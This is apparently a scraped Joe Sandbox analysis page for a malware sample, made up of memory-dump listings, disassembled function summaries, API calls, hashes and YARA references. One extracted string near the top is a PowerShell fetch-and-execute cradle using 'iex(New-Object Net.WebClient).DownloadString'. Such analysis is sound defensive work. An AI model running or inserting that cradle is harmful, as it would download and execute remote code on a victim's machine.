Associated: 00000000.00000002.2752257198.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_5BQwrSLxIZ.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrcat$ExecuteShelllstrlen
String ID: ')"$-nop -c "iex(New-Object Net.WebClient).DownloadString('$<$C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
API String ID: 3031569214-898575020
Opcode ID: ceff6c1b0c5b41120544c3d3be6942fd96f27d98ecc1bbdb5468e056c7fe4573
Instruction ID: fa4238ec13a9909d2a06eabaeedbec9afd3c4d5d27ba3f2f176ac5e057c61c04
Opcode Fuzzy Hash: ceff6c1b0c5b41120544c3d3be6942fd96f27d98ecc1bbdb5468e056c7fe4573
Instruction Fuzzy Hash: DB415E70E011089ADB04EFA1D866BEDBB79AF10314F40445EF10277196EF782AD9CF99

Function 6C8F7703 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 79COMMON

Download Yara Rule

Strings

C:\Users\user\Desktop\5BQwrSLxIZ.exe, xrefs: 6C8F771F

Memory Dump Source

Source File: 00000000.00000002.2771555815.000000006C8A1000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000000.00000002.2771520963.000000006C8A0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2771618992.000000006C901000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2771671921.000000006C947000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2771707980.000000006C949000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c8a0000_5BQwrSLxIZ.jbxd

Similarity

API ID:
String ID: C:\Users\user\Desktop\5BQwrSLxIZ.exe
API String ID: 0-2851189870
Opcode ID: 2a395245dd508181366a30635c951156477810d62eb38ed0e7ce3ca391c53b26
Instruction ID: 597bc81b0a2e8ec8b40166a9b8ca678fbadee13b077e19f3dc380d3b0f9123e3
Opcode Fuzzy Hash: 2a395245dd508181366a30635c951156477810d62eb38ed0e7ce3ca391c53b26
Instruction Fuzzy Hash: F6219571614205AFB7209F7A9E8098777B9AF467EC7144E29E934D7A40D731EC1287A0

Function 00415190 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 70stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00418F70: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 00418F9B

lstrcatA.KERNEL32(?,00000000,?,00000104), ref: 004151CA
lstrcatA.KERNEL32(?,00421058), ref: 004151E7
lstrcatA.KERNEL32(?,02CBEE50), ref: 004151FB
lstrcatA.KERNEL32(?,0042105C), ref: 0041520D

Part of subcall function 00414B60: wsprintfA.USER32 ref: 00414B7C
Part of subcall function 00414B60: FindFirstFileA.KERNEL32(?,?), ref: 00414B93

Part of subcall function 00414B60: StrCmpCA.SHLWAPI(?,00420FC4), ref: 00414BC1
Part of subcall function 00414B60: StrCmpCA.SHLWAPI(?,00420FC8), ref: 00414BD7
Part of subcall function 00414B60: FindNextFileA.KERNEL32(000000FF,?), ref: 00414DCD
Part of subcall function 00414B60: FindClose.KERNEL32(000000FF), ref: 00414DE2

Strings

cA, xrefs: 00415235, 0041526A, 0041528F, 00415238, 0041526D

Memory Dump Source

Source File: 00000000.00000002.2752257198.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2752257198.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_5BQwrSLxIZ.jbxd

Yara matches

Similarity

API ID: lstrcat$Find$File$CloseFirstFolderNextPathwsprintf
String ID: cA
API String ID: 2667927680-2872761854
Opcode ID: a343f676ed43c69b0dc3ccedf7b116e3b30851b1d4ac9fd5bddd7b235cd944a8
Instruction ID: dc16e4b81abbfe3fe676fda19ddb0faac8fab1e973e0b9c2e11f24d889f851c9
Opcode Fuzzy Hash: a343f676ed43c69b0dc3ccedf7b116e3b30851b1d4ac9fd5bddd7b235cd944a8
Instruction Fuzzy Hash: CD21C8B6E04218A7CB14FB70EC46EED333E9B94300F40455EB656561D1EE78ABC8CB95

Function 6C8F570D Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 42libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,C9386719,00000000,?,00000000,6C900110,000000FF,?,6C8F56A7,?,?,6C8F567B,?), ref: 6C8F5742
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 6C8F5754
FreeLibrary.KERNEL32(00000000,?,00000000,6C900110,000000FF,?,6C8F56A7,?,?,6C8F567B,?), ref: 6C8F5776

Strings

CorExitProcess, xrefs: 6C8F574C
mscoree.dll, xrefs: 6C8F573B

Memory Dump Source

Source File: 00000000.00000002.2771555815.000000006C8A1000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000000.00000002.2771520963.000000006C8A0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2771618992.000000006C901000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2771671921.000000006C947000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2771707980.000000006C949000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c8a0000_5BQwrSLxIZ.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: ffaf37821dbffd8fd2dd42a19723b4b6562bf0f0d22390cead5d37ccd95f056e
Instruction ID: 848755adde857e04eb116d42d4004553f8785919936f7dfce9ce61ffe6afdcd3
Opcode Fuzzy Hash: ffaf37821dbffd8fd2dd42a19723b4b6562bf0f0d22390cead5d37ccd95f056e
Instruction Fuzzy Hash: 3201A731A15659EFDB019F50CC44FAE7BB8FB46759F10892DF822A2680D774D900CA90

Function 00410FC0 Relevance: 7.6, APIs: 5, Instructions: 120stringCOMMON

Download Yara Rule

APIs

strtok_s.MSVCRT ref: 00410FE8
strtok_s.MSVCRT ref: 0041112D

Part of subcall function 0041AB30: lstrlenA.KERNEL32(00000000,?,?,00415DA4,00420ADF,00420ADB,?,?,00416DB6,00000000,?,02CBEB50,?,004210F4,?,00000000), ref: 0041AB3B
Part of subcall function 0041AB30: lstrcpy.KERNEL32(00420AF3,00000000), ref: 0041AB95

Memory Dump Source

Source File: 00000000.00000002.2752257198.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2752257198.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_5BQwrSLxIZ.jbxd

Yara matches

Similarity

API ID: strtok_s$lstrcpylstrlen
String ID:
API String ID: 348468850-0
Opcode ID: 77d8088bb27251dd49dfcd07a26e8087964298c25f1e83629a7bc62193e0fc7a
Instruction ID: 03db8a1056b7d3decc043d16849240f9eafe82692520a9407f7f8401fd2e2a69
Opcode Fuzzy Hash: 77d8088bb27251dd49dfcd07a26e8087964298c25f1e83629a7bc62193e0fc7a
Instruction Fuzzy Hash: EF515E75A0410AEFCB08CF54D595AEEBBB5FF48308F10805EE9029B361D734EA91CB95

Function 6C8F0C1A Relevance: 7.6, APIs: 5, Instructions: 87COMMONLIBRARYCODE

Download Yara Rule

APIs

dllmain_raw.LIBCMT ref: 6C8F0C57
dllmain_crt_dispatch.LIBCMT ref: 6C8F0C6E
dllmain_raw.LIBCMT ref: 6C8F0CB6
dllmain_crt_dispatch.LIBCMT ref: 6C8F0CC9
dllmain_raw.LIBCMT ref: 6C8F0CDC

Memory Dump Source

Source File: 00000000.00000002.2771555815.000000006C8A1000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000000.00000002.2771520963.000000006C8A0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2771618992.000000006C901000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2771671921.000000006C947000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2771707980.000000006C949000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c8a0000_5BQwrSLxIZ.jbxd

Similarity

API ID: dllmain_raw$dllmain_crt_dispatch
String ID:
API String ID: 3136044242-0
Opcode ID: 818f8719bac55184cfd744a99bcb3d2ca0755070f66b905dca8c9614bca5eb0e
Instruction ID: d8f3bb0d1a4182dfd3d6f1d2746aca8b662739cb4afa7e4ad9c293c51ca2d019
Opcode Fuzzy Hash: 818f8719bac55184cfd744a99bcb3d2ca0755070f66b905dca8c9614bca5eb0e
Instruction Fuzzy Hash: 9D218272D0129DAEDB315F59CE40DAF3A79EB416D9F114A25E83467A54C7309D038BA0

Function 00416BC0 Relevance: 7.6, APIs: 5, Instructions: 67timeCOMMON

Download Yara Rule

APIs

GetSystemTime.KERNEL32(004210F4,?,?,00416DB1,00000000,?,02CBEB50,?,004210F4,?,00000000,?), ref: 00416C0C
sscanf.NTDLL ref: 00416C39
SystemTimeToFileTime.KERNEL32(004210F4,00000000,?,?,?,?,?,?,?,?,?,?,?,02CBEB50,?,004210F4), ref: 00416C52
SystemTimeToFileTime.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?,?,02CBEB50,?,004210F4), ref: 00416C60
ExitProcess.KERNEL32 ref: 00416C7A

Memory Dump Source

Source File: 00000000.00000002.2752257198.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2752257198.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_5BQwrSLxIZ.jbxd

Yara matches

Similarity

API ID: Time$System$File$ExitProcesssscanf
String ID:
API String ID: 2533653975-0
Opcode ID: 8f3d302021b633d499eebc2b75f511318c1b224c781d312d182f2b4f083543dc
Instruction ID: 1a92bae8d2aea180e7b918fcc5e881d349bf880cfa552010dcbd9d747ca2879d
Opcode Fuzzy Hash: 8f3d302021b633d499eebc2b75f511318c1b224c781d312d182f2b4f083543dc
Instruction Fuzzy Hash: 0321CD75D142089BCF14DFE4E9459EEB7BABF48300F04852EF506A3250EB349644CB69

Function 004193F0 Relevance: 7.5, APIs: 4, Strings: 1, Instructions: 41stringCOMMON

Download Yara Rule

APIs

StrStrA.SHLWAPI(02CC57F8,00000000,00000000,?,00409F71,00000000,02CC57F8,00000000), ref: 004193FC
lstrcpyn.KERNEL32(006D7580,02CC57F8,02CC57F8,?,00409F71,00000000,02CC57F8), ref: 00419420
lstrlenA.KERNEL32(00000000,?,00409F71,00000000,02CC57F8), ref: 00419437
wsprintfA.USER32 ref: 00419457

Strings

%s%s, xrefs: 00419445

Memory Dump Source

Source File: 00000000.00000002.2752257198.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2752257198.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_5BQwrSLxIZ.jbxd

Yara matches

Similarity

API ID: lstrcpynlstrlenwsprintf
String ID: %s%s
API String ID: 1206339513-3252725368
Opcode ID: 84a337f0fca5bdf22d9977d595415c9580f1c6ff8586b832ae243cfd604c2dbf
Instruction ID: 36a1aade9beab669742e698a5986ef2a8e6d9b7fa0e45cca69d8a80143706e49
Opcode Fuzzy Hash: 84a337f0fca5bdf22d9977d595415c9580f1c6ff8586b832ae243cfd604c2dbf
Instruction Fuzzy Hash: 9B011E75A18108FFCB04DFA8DD54EAE7B79EF48304F108249F9098B340EB31AA40DB96

Function 004012A0 Relevance: 7.5, APIs: 5, Instructions: 39registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,80000001), ref: 004012B4
HeapAlloc.KERNEL32(00000000), ref: 004012BB
RegOpenKeyExA.ADVAPI32(000000FF,?,00000000,00020119,?), ref: 004012D7
RegQueryValueExA.ADVAPI32(?,000000FF,00000000,00000000,000000FF,000000FF), ref: 004012F5
RegCloseKey.ADVAPI32(?), ref: 004012FF

Memory Dump Source

Source File: 00000000.00000002.2752257198.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2752257198.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_5BQwrSLxIZ.jbxd

Yara matches

Similarity

API ID: Heap$AllocCloseOpenProcessQueryValue
String ID:
API String ID: 3466090806-0
Opcode ID: 105a35557efbe30c530503ad4a66e3d917ab5a2bcfe7a77369b2bd71da3f475d
Instruction ID: b0bfc99e0bb5f41d030d85d97ebb5ad9faa7414484ca5a523084a8432581bb26
Opcode Fuzzy Hash: 105a35557efbe30c530503ad4a66e3d917ab5a2bcfe7a77369b2bd71da3f475d
Instruction Fuzzy Hash: D1013179E45209BFDB00DFD0DC49FAE7779EB48701F00419AFA05A7280E770AA008B91

Function 0041CA72 Relevance: 7.5, APIs: 5, Instructions: 34COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 0041CA7E

Part of subcall function 0041C2A0: __getptd_noexit.LIBCMT ref: 0041C2A3
Part of subcall function 0041C2A0: __amsg_exit.LIBCMT ref: 0041C2B0

__getptd.LIBCMT ref: 0041CA95
__amsg_exit.LIBCMT ref: 0041CAA3
__lock.LIBCMT ref: 0041CAB3
__updatetlocinfoEx_nolock.LIBCMT ref: 0041CAC7

Memory Dump Source

Source File: 00000000.00000002.2752257198.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2752257198.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_5BQwrSLxIZ.jbxd

Yara matches

Similarity

API ID: __amsg_exit__getptd$Ex_nolock__getptd_noexit__lock__updatetlocinfo
String ID:
API String ID: 938513278-0
Opcode ID: e1c6badfeacfa20afd93dab5a2b3e5961ef45d04078cbebb43daf6c602d2eecf
Instruction ID: 3f7fe6514f949f75c5091ac4188df1b21daf88bb75e36ed85571065e92ff899f
Opcode Fuzzy Hash: e1c6badfeacfa20afd93dab5a2b3e5961ef45d04078cbebb43daf6c602d2eecf
Instruction Fuzzy Hash: 10F06231A842189BD622FBA95C867DE33A0AF00758F50014FE405562D2CB7C59C186DE

Function 6C8DD76F Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 343COMMON

Download Yara Rule

Strings

stack backtrace:, xrefs: 6C8DDB97

Memory Dump Source

Source File: 00000000.00000002.2771555815.000000006C8A1000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000000.00000002.2771520963.000000006C8A0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2771618992.000000006C901000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2771671921.000000006C947000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2771707980.000000006C949000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c8a0000_5BQwrSLxIZ.jbxd

Similarity

API ID:
String ID: stack backtrace:
API String ID: 0-2306486365
Opcode ID: 40920b73b886c088606e19f992a78f34e2deb6d905d11ea6f01a20ffa85897c8
Instruction ID: 68b0b1e21f8041207112ea0a40515dd495e6e27f38f0d6e9de00a60cdf8261c8
Opcode Fuzzy Hash: 40920b73b886c088606e19f992a78f34e2deb6d905d11ea6f01a20ffa85897c8
Instruction Fuzzy Hash: 3DF17175D05B888FCB22CFB4C9407DABBF4AF1A304F048A9ED8996B642D734A545CF61

Function 6C8DD6CD Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 223COMMON

Download Yara Rule

Strings

stack backtrace:, xrefs: 6C8DDB97

Memory Dump Source

Source File: 00000000.00000002.2771555815.000000006C8A1000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000000.00000002.2771520963.000000006C8A0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2771618992.000000006C901000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2771671921.000000006C947000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2771707980.000000006C949000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c8a0000_5BQwrSLxIZ.jbxd

Similarity

API ID:
String ID: stack backtrace:
API String ID: 0-2306486365
Opcode ID: 736f1b7f33de8645212d5e4d042e6286a157a48707bb5e72b9851edcbc683dc2
Instruction ID: f68f8cf2712f413ad981ec4fd2c840b31a01e3c199474dcf23b96ff3fcfb345f
Opcode Fuzzy Hash: 736f1b7f33de8645212d5e4d042e6286a157a48707bb5e72b9851edcbc683dc2
Instruction Fuzzy Hash: 76919DB5904B849FD721CF64C940696BBF0AF0A314F058E6EE89A9BB51D734F809CB61

Function 004168D0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 70COMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104,?,0000003C,?,000003E8), ref: 00416903

Part of subcall function 0041AA50: lstrcpy.KERNEL32(00420AF3,00000000), ref: 0041AA98

Part of subcall function 0041ACC0: lstrlenA.KERNEL32(?,004210F8,?,00000000,00420AF3), ref: 0041ACD5
Part of subcall function 0041ACC0: lstrcpy.KERNEL32(00000000), ref: 0041AD14
Part of subcall function 0041ACC0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AD22

Part of subcall function 0041ABB0: lstrcpy.KERNEL32(?,00420AF3), ref: 0041AC15

ShellExecuteEx.SHELL32(0000003C), ref: 004169C6
ExitProcess.KERNEL32 ref: 004169F5

Strings

<, xrefs: 00416979

Memory Dump Source

Source File: 00000000.00000002.2752257198.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2752257198.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_5BQwrSLxIZ.jbxd

Yara matches

Similarity

API ID: lstrcpy$ExecuteExitFileModuleNameProcessShelllstrcatlstrlen
String ID: <
API String ID: 1148417306-4251816714
Opcode ID: 80adf956ea99f7686bf73ed2305a0c7c355c3d8c509fc3f8e2274e2124ba97dc
Instruction ID: 69e214fcc2f82cbe4d830bf51364f862e1744f727ac50a07542482e63681b1c7
Opcode Fuzzy Hash: 80adf956ea99f7686bf73ed2305a0c7c355c3d8c509fc3f8e2274e2124ba97dc
Instruction Fuzzy Hash: 82313AB1902218ABDB14EB91DC92FDEB779AF08314F40418EF20566191DF787B88CF69

Function 6C8F4FC2 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 27libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(00000000,00000000,00000800,?,6C8F4F73,00000000,?,00000001,?,?,?,6C8F5062,00000001,FlsFree,6C93E690,FlsFree), ref: 6C8F4FCF
GetLastError.KERNEL32(?,6C8F4F73,00000000,?,00000001,?,?,?,6C8F5062,00000001,FlsFree,6C93E690,FlsFree,00000000,?,6C8F3F04), ref: 6C8F4FD9
LoadLibraryExW.KERNEL32(00000000,00000000,00000000), ref: 6C8F5001

Strings

api-ms-, xrefs: 6C8F4FE6

Memory Dump Source

Source File: 00000000.00000002.2771555815.000000006C8A1000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000000.00000002.2771520963.000000006C8A0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2771618992.000000006C901000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2771671921.000000006C947000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2771707980.000000006C949000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c8a0000_5BQwrSLxIZ.jbxd

Similarity

API ID: LibraryLoad$ErrorLast
String ID: api-ms-
API String ID: 3177248105-2084034818
Opcode ID: c9e59740239d4a586096553f94030a372b50a0a16f48b4b6787875186ed6dec9
Instruction ID: 6814fcd202f8b431af5ca05ea404468c78e0f8f1b91b1926ccff870dd9252ec0
Opcode Fuzzy Hash: c9e59740239d4a586096553f94030a372b50a0a16f48b4b6787875186ed6dec9
Instruction Fuzzy Hash: 38E04830744344F7EF201A61DE05B893E759B42788F208824FA5EE4891E771D91195C4

Function 00418EE0 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 20memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,000000FA,?,?,004196AE,00000000), ref: 00418EEB
HeapAlloc.KERNEL32(00000000,?,?,004196AE,00000000), ref: 00418EF2
wsprintfW.USER32 ref: 00418F08

Strings

%hs, xrefs: 00418EFF

Memory Dump Source

Source File: 00000000.00000002.2752257198.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2752257198.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
